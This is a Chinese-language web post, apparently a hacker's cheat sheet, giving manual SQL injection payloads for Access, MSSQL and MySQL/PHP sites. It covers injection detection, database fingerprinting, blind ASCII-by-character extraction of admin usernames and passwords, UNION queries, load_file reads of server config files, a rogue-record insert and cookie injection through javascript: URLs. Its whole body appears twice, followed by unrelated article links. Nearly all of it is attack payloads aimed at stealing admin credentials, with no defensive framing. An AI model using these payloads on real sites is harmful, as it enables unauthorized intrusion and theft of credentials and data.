纯手工注入语句

纯手工注入语句

第一步先把IE 菜单=>工具=>Internet选项=>高级=>显示友好 HTTP 错误信息前面的勾去掉。否则,不论服务器返回什么错误,IE 都只显示为HTTP 500服务器错误,不能获得更多的提示信息。

数字型:and 1=1 and 1=2 判断是否存在注入

字符型:' and '1'='1 ' and '1'='2

搜索型: 关键字%' and 1=1 and '%'='% 关键字%' and 1=2 and '%'='%

IIS 报错情况下使用:

and user>0 (判断是ACCESS 还是MSSQL )

不报错则使用各自数据库特性来判断

and (select count(*) from msysobjects)>0 (返回权限不足access 数据库)

and (select count(*) from sysobjects)>0 (返回正常则为MSSQL 数据库)

and db_name()>0 (返回数据库名)

and 0(select @@version)-- (判断版本信息)

and db_name()>0 (返回数据库名)

************注意:猜解之前先要找到后台地址,不然白忙了**********

ACCESS 注入:

猜解表名(正常则存在admin, 不正常则不存在)

and exists (select * from [admin])

and (Select Count(*) from Admin)>0

猜解字段:(字段username 存在则正常,不正常则不存在)

and (Select username from Admin)>0

and exists (select username from [admin])

猜解用户名和密码长度

and (select top 1 len(username) from Admin)>0

and (select top 1 len(password) from Admin)>0

原理:如果top 1的username 长度大于0,则条件成立;接着就是>1、>2、>3这样测试下去,一直到条件不成立为止,比如>4成立,>5不成立,就是len(username)=5,即用户名长度为

5. 得到username 的长度后,用mid(username,N,1)截取第N 位字符,再asc(mid(username,N,1))得到ASCII 码.

猜解用户

and (select top 1 asc(mid(username,1,1)) from Admin)>0,1,2„,

当输入到109时,显示错误,而108之前显示正确,说明第一个字符的ASCII 码为109. ,

得到第一个字符是m 。

同理and (select top 1 asc(mid(username,2,1) from Admin)>0,1,2„

到114的时候不成立,说明第二个字符的ASCII 码值为114,字符为r 。

注意的是英文和数字的ASCII 码在1-128之间...

MSSQL 注入:

having 1=1-- 【爆出一个表名及字段,如:列 'users.ID' 在选择列表中无效】

group by users.ID having 1=1--

group by users.ID, users.username, users.password, users.privs having 1=1--

; insert into users values( 666, attacker, foobar, 0xffff )-- 【插入新记录】

猜解表名:

SQL SERVER 的每一个数据库都会有用户表和系统表,在系统表sysobjects 中, 数据库内创建的每个对象(约束、默认值、日志、规则、存储过程等)在sysobjects 表中占一行,那么也就是说当前数据库的表名都会在该表内有存在。我们常用到的参数有三个,name (数据表的名字),xtype ( 数据表的类型 u 为用户表),id ( 数据表的对象标志)。

and (select top 1 name from sysobjects where xtype='u')>0 (得到第一个表名:比如user)

and (select top 1 name from sysobjects where xtype='u' and name not in ('user'))>0 得到第二个表名,后面的以此类推。。

猜解列名:

用到系统自带的2个函数col_name()和object_id(),col_name()的格式是“COL_NAME( table_id , column_id )”,参数table_id是表的标识号,column_id是列的标识号,object_id(admin)就是得到admin 在sysobjects 中的标识号,column_id=1,2,3表明admin 的第1,2,3列。

and (select top 1 col_name(object_id('admin'),1) from sysobjects)>0 【得到admin 字段的第一个列名“username ”依次类推,得到“password ”“id ”等等】

猜解字段内容:

and (select top 1 username from [admin])>0 【直接得到用户名】

and (select top 1 password from [admin])>0 【直接得到密码】

UNION 联合查询:

select name,password,id from user union select user,pwd,uid from 表名

and 1=1 union select 1,2,3,4,5... from 表名 (数值从1开始慢慢加,如果加到5返回正常,那就存在5个字段)

ASCII 逐字解码法:

1、猜解列长度

and (select top 1 len(列名)from 表名)>N

其中N 是数字,变换这个N 的值猜解列长度,当N 为6正确,为7错误,则长度为7

猜解第二条记录就该使用:select top 1 len(列名) from 表名 where 列名 not in (select top 1 列名 from 表名)

2、猜解用户和密码

ASC()函数和Mid 函数,ASC(mid(列名,N,1)) 得到“列名”第N 位字符ASCII 码

猜解语句为:and (select top 1 asc(mid(字段,1,1)) from 数据库名)>ASCII码

区间判断语句:....between......and......

中文处理法:当ASCII 转换后为“负数”使用abs()函数取绝对值。

例:and (select top 1 abs(asc(mid(字段,1,1))) from 数据库名)=ASC码

ASCII 逐字解码法的应用:

1、猜解表名:and (select count(*) from admin)0

2、猜解列名:and (select count(列名) from 表名)0

3、猜解用户个数:and (select count(*) from 表名)>1,2.. 2正常,3错误,表中有3条记录。

4、猜解用户名的长度:and (select len(列名) from 表名)>=1、>=2、>=3、>=4。

5、猜解用户名:and (select count(*)from 表名 where (asc(mid(列名,1,1))) between 30 and 130)0

最后提交:and (select asc(mid(列名,1,1)) from 表名)=ascii的值

6、猜解管理员的密码:

按照上面的原理,把上面的语句中(asc(mid(列名,1,1) 的列名换成PASSWORD 就能得到密码了。

MYSQL+PHP注入:

1. 判断是否存在注入, 加';and 1=1 ;and 1=2

2. 判断版本 and ord(mid(version(),1,1))>51 /* 返回正常说明是4.0以上版本,可以用union 查询

3. 利用order by 暴字段,在网址后加 order by 10 /* 如果返回正常说明字段大于10

4. 再利用union 来查询准确字段,如: and 1=2 union select 1,2,3,......./*直到返回正常,说明猜到准确字段数。如过滤了空格可以用/**/代替。

5. 判断数据库连接帐号有没有写权限,and (select count(*) from mysql.user)>0 /*如果结果返回错误,那我们只能猜解管理员帐号和密码了。

6. 如果返回正常,则可以通过and 1=2 union select 1,2,3,4,5,6,load_file(char(文件路径的ascii 值,用逗号隔开)),8,9,10 /* 注:load_file(char(文件路径的ascii 值,用逗号隔开)) 也可以用十六进制,通过这种方式读取配置文件,找到数据库连接等。

7. 首先猜解user 表, 如: and 1=2 union select 1,2,3,4,5,6.... from user /* 如果返回正常,说明存在这个表。

8. 知道了表就猜解字段,and 1=2 union select 1,username,3,4,5,6.... from user/*如果在2字段显示出字段内容则存在些字段。

9. 同理再猜解password 字段。

cookie 注入:

条件:ID=Request("ID"),(WEB 服务器是先去取GET 中的数据,没有的话再取POST 中的数据, 还没有再去取Cookies 中的数据);未对cookie 进行过滤,那么就造成了cookie 注入。 *****用 Request.QueryString 或Request.Form 收集数据的话,是无法利用Cookies 注入的******

判断是否存在cookie 注入

例如:http://www.xxx.com/1.asp?id=44

输入 http://www.xxx.com/1.asp 显示不正常,因为没有输参数。

javascript:alert(document.cookie="id="+escape("44 and 1=1"));刷新页面, 显示正常, 可以再试下一步(如果不正常, 就有可能也有过滤了)

javascript:alert(document.cookie="id="+escape("44 and 1=2"));刷新一下页面,如果不正常显示,这就表示有注入了。

猜解长度:

javascript:alert(document.cookie="id="+escape("44 and (select len(password) from admin)=16")) 猜解内容:

javascript:alert(document.cookie="id="+escape("44 and (select asc(mid(username)) from admin)=97"))

PHP 注入:

判断注入点:';and 1=1 ';and 1=2

判断UNION :and ord(mid(version(),1,1))>51 返回正确则4.0可用UNION 查询

利用order by 暴字段:order by n (n=1,2,3.. ) (当n 为3正确,4错误是,则3个字段) 利用union 来查询准确字段:and 1=1 union select 1,2,3,....... (当返回正常时,就说明猜到准确字段数=最后一个数)

判断数据库连接帐号有没有写权限:and (select count(*) from mysql.user)>0(如果返回错误,我们就猜管理员的帐号密码,如果返回正常,则可以通过

and 1=2 union select 1,2,3,4,5,6, load_file(char(文件路径的ascii 值,用逗号隔开)),8,9,10 [注意:load_file(char(文件路径的ascii 值,用逗号隔开)) 也可以用十六进制,通过这种方式读取配置文件])

猜解表:and 1=2 union select 1,2,3,4,5,6.... from user (回正常,说明存在这个表)

猜字段:and 1=2 union select 1,username,3,4,5,6.... from user (同样道理,自己替换,如果在2字段显示出字段内容则存在些字段)

同理再猜解password 字段.

跨站

(最常用)

(?用tab 键弄出来的空格)

(/**/ 表示注释)

html 实体

unicode

[/post]

纯手工注入语句

第一步先把IE 菜单=>工具=>Internet选项=>高级=>显示友好 HTTP 错误信息前面的勾去掉。否则,不论服务器返回什么错误,IE 都只显示为HTTP 500服务器错误,不能获得更多的提示信息。

数字型:and 1=1 and 1=2 判断是否存在注入

字符型:' and '1'='1 ' and '1'='2

搜索型: 关键字%' and 1=1 and '%'='% 关键字%' and 1=2 and '%'='%

IIS 报错情况下使用:

and user>0 (判断是ACCESS 还是MSSQL )

不报错则使用各自数据库特性来判断

and (select count(*) from msysobjects)>0 (返回权限不足access 数据库)

and (select count(*) from sysobjects)>0 (返回正常则为MSSQL 数据库)

and db_name()>0 (返回数据库名)

and 0(select @@version)-- (判断版本信息)

and db_name()>0 (返回数据库名)

************注意:猜解之前先要找到后台地址,不然白忙了**********

ACCESS 注入:

猜解表名(正常则存在admin, 不正常则不存在)

and exists (select * from [admin])

and (Select Count(*) from Admin)>0

猜解字段:(字段username 存在则正常,不正常则不存在)

and (Select username from Admin)>0

and exists (select username from [admin])

猜解用户名和密码长度

and (select top 1 len(username) from Admin)>0

and (select top 1 len(password) from Admin)>0

原理:如果top 1的username 长度大于0,则条件成立;接着就是>1、>2、>3这样测试下去,一直到条件不成立为止,比如>4成立,>5不成立,就是len(username)=5,即用户名长度为

5. 得到username 的长度后,用mid(username,N,1)截取第N 位字符,再asc(mid(username,N,1))得到ASCII 码.

猜解用户

and (select top 1 asc(mid(username,1,1)) from Admin)>0,1,2„,

当输入到109时,显示错误,而108之前显示正确,说明第一个字符的ASCII 码为109. ,

得到第一个字符是m 。

同理and (select top 1 asc(mid(username,2,1) from Admin)>0,1,2„

到114的时候不成立,说明第二个字符的ASCII 码值为114,字符为r 。

注意的是英文和数字的ASCII 码在1-128之间...

MSSQL 注入:

having 1=1-- 【爆出一个表名及字段,如:列 'users.ID' 在选择列表中无效】

group by users.ID having 1=1--

group by users.ID, users.username, users.password, users.privs having 1=1--

; insert into users values( 666, attacker, foobar, 0xffff )-- 【插入新记录】

猜解表名:

SQL SERVER 的每一个数据库都会有用户表和系统表,在系统表sysobjects 中, 数据库内创建的每个对象(约束、默认值、日志、规则、存储过程等)在sysobjects 表中占一行,那么也就是说当前数据库的表名都会在该表内有存在。我们常用到的参数有三个,name (数据表的名字),xtype ( 数据表的类型 u 为用户表),id ( 数据表的对象标志)。

and (select top 1 name from sysobjects where xtype='u')>0 (得到第一个表名:比如user)

and (select top 1 name from sysobjects where xtype='u' and name not in ('user'))>0 得到第二个表名,后面的以此类推。。

猜解列名:

用到系统自带的2个函数col_name()和object_id(),col_name()的格式是“COL_NAME( table_id , column_id )”,参数table_id是表的标识号,column_id是列的标识号,object_id(admin)就是得到admin 在sysobjects 中的标识号,column_id=1,2,3表明admin 的第1,2,3列。

and (select top 1 col_name(object_id('admin'),1) from sysobjects)>0 【得到admin 字段的第一个列名“username ”依次类推,得到“password ”“id ”等等】

猜解字段内容:

and (select top 1 username from [admin])>0 【直接得到用户名】

and (select top 1 password from [admin])>0 【直接得到密码】

UNION 联合查询:

select name,password,id from user union select user,pwd,uid from 表名

and 1=1 union select 1,2,3,4,5... from 表名 (数值从1开始慢慢加,如果加到5返回正常,那就存在5个字段)

ASCII 逐字解码法:

1、猜解列长度

and (select top 1 len(列名)from 表名)>N

其中N 是数字,变换这个N 的值猜解列长度,当N 为6正确,为7错误,则长度为7

猜解第二条记录就该使用:select top 1 len(列名) from 表名 where 列名 not in (select top 1 列名 from 表名)

2、猜解用户和密码

ASC()函数和Mid 函数,ASC(mid(列名,N,1)) 得到“列名”第N 位字符ASCII 码

猜解语句为:and (select top 1 asc(mid(字段,1,1)) from 数据库名)>ASCII码

区间判断语句:....between......and......

中文处理法:当ASCII 转换后为“负数”使用abs()函数取绝对值。

例:and (select top 1 abs(asc(mid(字段,1,1))) from 数据库名)=ASC码

ASCII 逐字解码法的应用:

1、猜解表名:and (select count(*) from admin)0

2、猜解列名:and (select count(列名) from 表名)0

3、猜解用户个数:and (select count(*) from 表名)>1,2.. 2正常,3错误,表中有3条记录。

4、猜解用户名的长度:and (select len(列名) from 表名)>=1、>=2、>=3、>=4。

5、猜解用户名:and (select count(*)from 表名 where (asc(mid(列名,1,1))) between 30 and 130)0

最后提交:and (select asc(mid(列名,1,1)) from 表名)=ascii的值

6、猜解管理员的密码:

按照上面的原理,把上面的语句中(asc(mid(列名,1,1) 的列名换成PASSWORD 就能得到密码了。

MYSQL+PHP注入:

1. 判断是否存在注入, 加';and 1=1 ;and 1=2

2. 判断版本 and ord(mid(version(),1,1))>51 /* 返回正常说明是4.0以上版本,可以用union 查询

3. 利用order by 暴字段,在网址后加 order by 10 /* 如果返回正常说明字段大于10

4. 再利用union 来查询准确字段,如: and 1=2 union select 1,2,3,......./*直到返回正常,说明猜到准确字段数。如过滤了空格可以用/**/代替。

5. 判断数据库连接帐号有没有写权限,and (select count(*) from mysql.user)>0 /*如果结果返回错误,那我们只能猜解管理员帐号和密码了。

6. 如果返回正常,则可以通过and 1=2 union select 1,2,3,4,5,6,load_file(char(文件路径的ascii 值,用逗号隔开)),8,9,10 /* 注:load_file(char(文件路径的ascii 值,用逗号隔开)) 也可以用十六进制,通过这种方式读取配置文件,找到数据库连接等。

7. 首先猜解user 表, 如: and 1=2 union select 1,2,3,4,5,6.... from user /* 如果返回正常,说明存在这个表。

8. 知道了表就猜解字段,and 1=2 union select 1,username,3,4,5,6.... from user/*如果在2字段显示出字段内容则存在些字段。

9. 同理再猜解password 字段。

cookie 注入:

条件:ID=Request("ID"),(WEB 服务器是先去取GET 中的数据,没有的话再取POST 中的数据, 还没有再去取Cookies 中的数据);未对cookie 进行过滤,那么就造成了cookie 注入。 *****用 Request.QueryString 或Request.Form 收集数据的话,是无法利用Cookies 注入的******

判断是否存在cookie 注入

例如:http://www.xxx.com/1.asp?id=44

输入 http://www.xxx.com/1.asp 显示不正常,因为没有输参数。

javascript:alert(document.cookie="id="+escape("44 and 1=1"));刷新页面, 显示正常, 可以再试下一步(如果不正常, 就有可能也有过滤了)

javascript:alert(document.cookie="id="+escape("44 and 1=2"));刷新一下页面,如果不正常显示,这就表示有注入了。

猜解长度:

javascript:alert(document.cookie="id="+escape("44 and (select len(password) from admin)=16")) 猜解内容:

javascript:alert(document.cookie="id="+escape("44 and (select asc(mid(username)) from admin)=97"))

PHP 注入:

判断注入点:';and 1=1 ';and 1=2

判断UNION :and ord(mid(version(),1,1))>51 返回正确则4.0可用UNION 查询

利用order by 暴字段:order by n (n=1,2,3.. ) (当n 为3正确,4错误是,则3个字段) 利用union 来查询准确字段:and 1=1 union select 1,2,3,....... (当返回正常时,就说明猜到准确字段数=最后一个数)

判断数据库连接帐号有没有写权限:and (select count(*) from mysql.user)>0(如果返回错误,我们就猜管理员的帐号密码,如果返回正常,则可以通过

and 1=2 union select 1,2,3,4,5,6, load_file(char(文件路径的ascii 值,用逗号隔开)),8,9,10 [注意:load_file(char(文件路径的ascii 值,用逗号隔开)) 也可以用十六进制,通过这种方式读取配置文件])

猜解表:and 1=2 union select 1,2,3,4,5,6.... from user (回正常,说明存在这个表)

猜字段:and 1=2 union select 1,username,3,4,5,6.... from user (同样道理,自己替换,如果在2字段显示出字段内容则存在些字段)

同理再猜解password 字段.

跨站

(最常用)

(?用tab 键弄出来的空格)

(/**/ 表示注释)

html 实体

unicode

[/post]


相关文章

  • 关于SQL注入的一点思考和总结
  • 终于考完试了,又可以继续我的渗透之旅了.昨晚通宵和Lucas把今年暑假成都的信息安全竞赛的文档给整理了,貌似这是自从大一那次通宵一来第一次通宵了. ISCC的比赛到10号就结束了,暑假到北京绿盟去决赛应该没问题了,所以这段时间针对WEB渗透 ...查看


  • 软件测试理论知识
  • 开篇第一章 测试基础 软件测试的定义: 使用人工和自动的手段来运行或测试某个系统的过程.其目的是检验它是否满足规定的需求或弄清预期结果与实际结果间的差别. 软件测试的目的: 证明 检测 预防 证明: 1) 获取系统在可接受风险范围内可用的信 ...查看


  • 从零开始学习黑客技术入门教程(基础)
  • 最简单的黑客入门教程 目 录 1 2 3 4 5 黑客简介 .......................................................................................... ...查看


  • 软件测试试卷(有答案)
  • 模拟试题1 一.选择题(每题2分,共30分) 1.导致软件缺陷的最大原因是( ) A. 编写程序 B. 设计方案 C. 软件需求说明书 D.软件规格说明书 2.在下面几个语句中,判断哪一个是错误的 A)发现和修复产品中的软件缺陷越早,开发费 ...查看


  • Spring依赖注入的几种方式
  • spring 依赖注入的几种方式 使用构造器注入 使用属性setter 方法注入 使用Field 注入(用于注解方式) 注入依赖对象可以采用手工装配或自动装配,在实际应用中建议使用手工装配,因为自动装配会产生未知情况, 开发人员无法预见最终 ...查看


  • 网站技术解决方案
  • 网站技术解决方案 1. 服务器自建服务器自行接入电信或者网通线路连接到internet自行配置服务器硬件 及交换机.路由器.防火墙. 2. 操作系统WINDOWS操作系统版本根据需要及系统的性质选择. 3. 网站数据库网站若不是 ...查看


  • 粒子束武器阅读答案
  • 阅读下面这篇文章,回答文后的问题. 粒子束武器 粒子束武器大致分为三个主要部分,即由能源.电子喷嘴和集流加速器组成. 能源,一般是靠核裂变或聚变的极高的脉冲功率形成.人们采用专门的核爆炸式的发电机,通过核裂变或聚变释放出大量的能量,发出高压 ...查看


  • 计算机辅助制造技术-贾可俊
  • 计算机辅助制造技术 学院:机械与汽车工程学院 班级:过控11-2 姓名:贾可俊 学号:[1**********]6 定义及原理:英文名称:computer-aided manufacturing;CAM 定义:利用计算机分级结构将产品的设计 ...查看


  • 中兴笔试题
  • 一.逻辑分析 1.请仅用一笔画四根直线,将下9个点全部连接. 2.什么东西在倒立之后会增加一半? 3.烧一根不均匀的绳子,从头烧到尾总共要一个小时,如何用这根绳子来确定半小时呢?有几种发方法? 4.住在某个房间的四个人A,B,C,D.他们当 ...查看


热门内容